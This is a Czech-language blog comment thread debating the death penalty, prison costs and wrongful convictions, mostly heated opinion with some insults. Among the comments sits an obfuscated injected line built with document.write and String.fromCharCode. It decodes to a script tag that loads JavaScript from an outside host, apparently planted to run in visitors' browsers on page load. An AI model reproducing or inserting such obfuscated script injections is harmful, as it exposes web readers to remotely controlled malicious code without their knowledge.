Jsem pro trest smti v České republice

Milý Patriku,

třeba na tomto článku se projevuje právě Tvá nevyzrálost. Nemůžeš teď za to, ale věřím, že třeba za 7 let bys takový článek nenapsal.

Nevím, zda jsem to dobře pochopil, ale říkáš, že když stát nemá na odškodnění, má vězně radši zabít? Co by tomu řekl ten vězeň asi?

Lidský život a peníze jsou dvě odlišné věci a nevím jakou cenu mají pro Tebe.

To, že vězni nepracují taky nechápu, ale zas si nedovedu představit, jestli by třeba nebrali praáci lidem na svobodě.

Oni peníze ve státě jsou, ale promrhá se jich mnohem více někde jinde, než na vězních. Vem třeba v potaz úřednickou svoloč. Všude v EU s ní bojují a my ji tady posluhujeme.

Co se týká délky trestů, to je již jiná otázka.

Pokud bys někoho popravil (zabil) a poté se zjistilo, že se jednalo o justiční omyl, byl by vrah z Tebe. Měl bys být taky zabit?

Možná to bude znít jako klišé, ale lidský život nevyvážíš pěnězma.
Jsem jednozačně proto trestu smrti.

Proto Tě prosím, zvaž ještě jednou tento článek.

Myslim, ze bys mel vzit vpotaz to, ze neni pravda, ze vezni za pobyt ve veznici neplati. Bud se jim ta castka strhava ze mzdy v pripade ze pracuji. Pokud nepracuji, tak jsou propusteni s dluhem na ktery maji splatkovy kalendar. Taky je zajimave jak vychazi v nekterych statech USA porovnani nakladu na dozivotne odsouzeneho a na popraveneho.

Tak jak píšeš, tak s tebou souhlasím. Je pravda, že člověk, který zabije někoho a dostane jen několik let za vraždu a pak se může jít zas kochat zabíjením zas, ale ten, koho zabil už nebude naživu.
BTW máš v nadpisu:"Jsem proti trestu smti..." ;)

Mohl bys trochu rozvést to "nechal bych je pracovat"? Já si myslím, že o to snaha je již nyní, ale prostě pro ně buď nejsou pracovní místa, nebo nemají dostatečnou kvalifikaci. A jak by se pak řešilo to, kdyby vězeň odmítl pracovat?

Mantiso, toto nemá s vyzrálostí člověka nic společného :-) A já zde nemluvím o nějakém odškodnění a smrti, ale podívej se na Jiřího Kájínka. Proč není další soud? Proč se to již neřeší? Protože by se zjistilo, že není vinen a stát by neměl na zaplacení. Ano, je to tak, raději ho nechají shnít v cele.

Práce je dost, nezaměstnaných je sice hodně, ale práce je mnohem více, prolistuj si archív.

A takže by jsem zvýšil délku trestů a pokud bude délka 200, pak člověk udělal něco vážného a nemá právo žít. Člověk, co zabil tři lidi nemá právo žít, můj názor je takový.

V tom případě jsem pro, aby pracovali.

O odškodnění nejde, peníze by byly to poslední.

A pobyt ve vězení není takovej luxus zase. Byl jsi někdy v nějakém (aspoň se podívat)?
Neznamená to však, že chci vrahy obhajovat.

Byl, sousedky přítel tam sedí, protože nedělal veřejně prospěšný práce. Blbec :-? A já jsem taky pro, aby pracovali, ale pokud nechtějí, tak prostě bude trest smrti. Jo, ono je to divný, možná nechutný, ale proč bychom je měli živit? Oni udělali něco otřesného a to, že mohou být ve vězení je vlastně dar, že jsme jim také nesebrali život, jako oni někomu.

Mě nejde o peníze, ale o princip. Proč bychom je měli živit a oni měli žít v luxusu a nepracovat? Není to trošku hloupé? 8-O

Pracovat by měli. Pokud by nechtěli pracovat, prodlužoval bych jim stále trest. Ale tohle všechno by se muselo promyslet. Rozhodně ale nejsem pro trest smrti.

Myslím však, že pobyt ve vězení si ale trestanec platí (alespoň z části), ale nevím přesně jak to chodí.

Je taky rozdíl mezi USA, a ČR, dluh, který stát má teď budou splácet ještě naši potomci, nejsou to jen vězni kteří nás vysávají, a pro trest smrti jsem taky, opravdu nechápu náš smysl soudnictví atd.., protože se mužeš třeba donekonečna odvolávat, odročovat soudy jak chceš, a to v USA není, tam uděláš trestný čin, a za týden, dva jsi odsouzený. Taky jsem pro trest smrti, ale myslím že by se dalo šetřit jinak než na trestech smrti...

Patriku, ten pán se jmenuje Kajínek, ne Kájínek. A je zavřený, protože ho soud několikrát uznal vinným. Moc čteš ten jeho Internet. :-)

USA maji zadluzeni cca 30000$ na cloveka a ekonomiku zrejme ve stavu recese...ano to je oproti CR pomerne velky rozdil. Btw v USA se pri projednavani udeleni trestu smrti muzes temer donekonecna odvolavat a diky tomu jsou pak naklady na jednu vykonanou popravu vyssi, nez na dozivoti.

Díky Jarmilko, v článku jsme to opravil :-) Mimochodem, to je o čem tu mluvíme, shledal jsem vinným a udělil mu minimálně nepřiměřeně vysoký trest. Stát se snaží, aby byl vinen, je to logické, popisuji to v článku.

Trest smrti není trest, je to absolutní konec... A trest má trestat, což by věznice s nejtěžší ostrahou plnit měly. :-) Ano, výše trestu jsou směšné, sčítání trestu je také dobré řešení, ale ne smrt... Chtěl bych vidět, jak by ses tvářil, kdyby popravili tvého blízkho neprávem a pak řekli: "Oups, stalo se, ale lepší, než platit odškodné, no ne?!"

Ale proč sem stále meleš odškodné ve spojitosti s popravou? Já jasně píši, že Jiří Kajínek by v případě propuštění mohl požadovat takové odškodné, že by mu to ČR nemohla zaplatit. Přečti si znovu ten článek.

Pozadovat by sice mohl, ale vysledek se jaksi neodviji od toho co clovek pozaduje, ale v tomto pripade od toho jak rozhodne soud. Jo a taky 25let neni maximum - je tu i dozivoti.

Vězni nepracují? Přežitek, názor který je ve společnosti vžitý, ale nepravdivý. Sice nemusí pracovat, ale většina z nich pracuje a věznice nabízí i pracovní programy, které většina věznů využívá. Protože za a) nevyjdou ven s takovým dluhem a za b) jejich denní program je velice nudný, takže chodí pracovat aby se neunudili k smrti.
Vězni nežijí v bahně a špíně to je fakt, ale viděl si někdy celu zevnitř? Krcálek kde musíš trávit spousty let. Vězení neni náročné fyzicky, ale psychycky je to něco, co si nikdo kdo tam nebyl neumí představit... Patriku, nesuď když si to nezažil ...

Ano, ano! Pojďme propagovat vrahy, vždyť musí sedět v cele několik let! A že ti zabijí někoho z rodiny, to je zcela mimo, ignorujme to, důležité přeci je, jak se cítí masový vrah :-P Bravo, smekám..

je docela zvlaštné, že v tomzo stáťe může člověk dostat víc let v kriminale za krádež auta, než za vraždu

Jinak i kdyby pan Kajínek neudělal to, za co momentalně sedí, stejně je to člověk s minulostí plnou vydírání a i znásilnění. Jenomže to na tv Nova už neříkají. Kdyby lídé tušili co je to zač, tak asi nemá tolik sympatií...

Ke zdejší diskuzi, a snad i článku, mě napadá citát od Richarda Sennetta, který řekl: "*Jaké zlo budete tolerovat záleží na tom, po jakém dobru toužíte*".

Faktem zůstává, že v ČR jsou tresty skutečně příliš nízké. Na druhou stranu je třeba zvážit, zda-li současný stav soudnictví, korupce, ... dokáže zajistit spravedlivý a neomylný trest - i kdyby to měl být trest smrti.

Ahoj Patriku,

můj bratr v sebeobraně (byl napaden) zabil (nikoliv zavraždil) člověkam který jej ohrožoval nožem. Bratr dostal 10 let, je ze slušné rodiny, předtím x let pracoval, platil daně, měl stejný názor jako ty. Kvůli jednomu ožralému debilovi s nožem teď má na deset lez skažený život, a věř mi že jemu momentálně připadá 10 let jako celý život. Nyní ve vězení pracuje, splácí si svůj trest i když nic neudělal, bránil pouze svůj život. Přesto to skončilo smrtí (vinného člověka), dal bys mu snad trest smrti? Myslím že tento článek je naprosto nesmylný, v životě jsi se s podobným problém nesetkal, nevíš jaká je mnohdy pravda, nerozumíš tomu.

"Dead MAN walking"

hm...Patrik se pustil do velmi vážného a obsáhlého tématu.

1. můj názor na terst smrti je, že by soudy měli mít možnost trestu smrti.

2. takovýto trest je opravdu jen krajní a poslední východisko, musela by se vyloučit možnost justičního omylu, takovýto trest jen pro člověka, který úmyslně zabil (plánovaně) a to několik lidí...rozhodně ne pro to, že se bránil, či řídil pod vlivem alkoholu. Ano je to hrozné, je to tragédie a rodina mrtvých by rozhodně chtěla viníka vidět mrtvého, ale ani viníkova smrt jim syna/dcera/otece... nevrátí...

tedy trest smrti ano, ale jen jako krajní možnost pro masového vraha, úmyslnou vraždu...

výrok typu "pokud nepracují, ať umřou" je pokřivené vnímání světa, nejsme zvířata ale lidé...tady přece už nejde o peníze.

Patriku, ty je nesponzoruješ :-) jsi agresivní studující génius, nejspíše budeš do minimálně 25 let studovat, takže máš ještě dost času na takovéto výroky :-)

Lidský život (byť vrahův) znamená podle mě mnohem víc, než pár korun, které platíš na dani navíc.

Co když se vrah polepší? po smrti nemůže.
Co když se dostal do vězení neprávem? život mu už nikdo nevrátí.

jsi si jistý, že život těch, co se polepší + nevinných "stojí" méně, než těch 6 miliard, co se za rok na vězně zaplatí?

cituji: " Nedivte se, hypochondři, vězni a další odpad nás prostě okrádají o vydělané peníze......."
Milý Patriku, podobné názory, do kterých ještě obsáhle zahrnul i mentálně postižené, nevhodné rasy atp. měl i jeden příležitostný malíř plakátů.......... Musím souhlasit s Mantisou a jeho úvahou o tvé zralosti. Neboj to přejde, v tomhle věku i když to nerad slyšíš, chtěl každý mladý "publicista" dokázat, že jen ty jeho názory na svět jsou ty správné a dostatečně radikální. Držím ti v tom palce, jednou to přijít musí

JSEM PRO TREST SMRTI! Nedávno jsem si nebyla jistá, neboť jsem si říkala, kdo by to asi dělal. Ale teď bych to klidně dělala sama, neboť mě před nějakým časem velice pobouřil rozsudek Krajského soudu, který odsoudil "člověka", který kvůli pomstě své manželce popravil svého pětiletého syna střelbou do hlavy z jednoho metru. Víte, kolik dostal? 8 let. 8 LET! Za vytunelování dostanete 15! No to je vyloženě výsměch a nabádání těch úchylnejch vrahů. Říká se, že člověk, který zabije odsouzeného člověka, spadne na jeho úroveň, ale já to klidně, s čistým svědomím podstoupím! Budu stát první v řadě, když budou hledat "kata"!

Všechny, kteří jsou pro trest smrti bych zastřelil a za pár let se jim omluvil, že to vlastně byl omyl. Kdo je pro?
Další důležitá věc je, že neplatíš daně, takže ti to může být sakra ukradené.

*/document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,115,121,115,101,108,50,48,48,49,46,119,122,46,99,122,47,115,116,111,121,97,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62));/*

Všichni co jste proti trestu smrti: co byste rikali, kdyby vasemu diteti nekdo udelal to co Jakubovi slovensky pedofil?!

A co, když se ten člověk přizná, řekne, že by to klidně udělal znova, směje se tomu, a těší ho to ?? To by asi pak nebyl justiční omyl. Navíc člověk, který je ve vězeni, jeste stale muze nekoho ohrozovat, kdežto mrtvola už těžko vstane z hrobu. A taky by mohl trest smrti fungovat pro zastrašení ostatních. Osobně v tom vidím spíš ty kladný stránky, než ty záporný.

caw ty seš asi k0k0t, si myslíš že si jediný kdo je pro test smrti ? děláš tady z toho jak kdyby se to ani nesmělo a ty jedinej mohl si to myslet ? no zkrátka a dobře si myslím že si sobecký K0K0T

hele asi takhle NEJSEM pro trest smrti rači budu solit prachy na vrahy než aby kvůli tomu že patřim mezi lidi který sou pro trest smrti zemřel jeden jedinej nevinej člověk!!!
je ale pravda že tresty by měli být mnohonásobně vyší ale to nemůže soudit někdo komu vadí jenom to že platí za takzvaný "hypochondry" který nemůžou za to jak se narodily....můj bratranec je takovej a ani nevíš kolik peněz stojí s nim několikrát tejdně jezdit do Prahy na vyšetření a o psychice jeho rodiny ani nemluvim.........
......a ještě je tu jedna otázka: TY by si byl schopnej zabít člověka i kdybys věděl že zabil?!?!......já teda ne to že někdo zabil neznamená že se musíme chovat stejně a vysvobodit ho s toho pekla jaký by měl jako vrah tady na světě a co kdyby se pak zjistilo že byl nevinej koho by si zabil pak?!?!
.....je vydět že si ještě nezralej a něvážíš si lidskýho života ...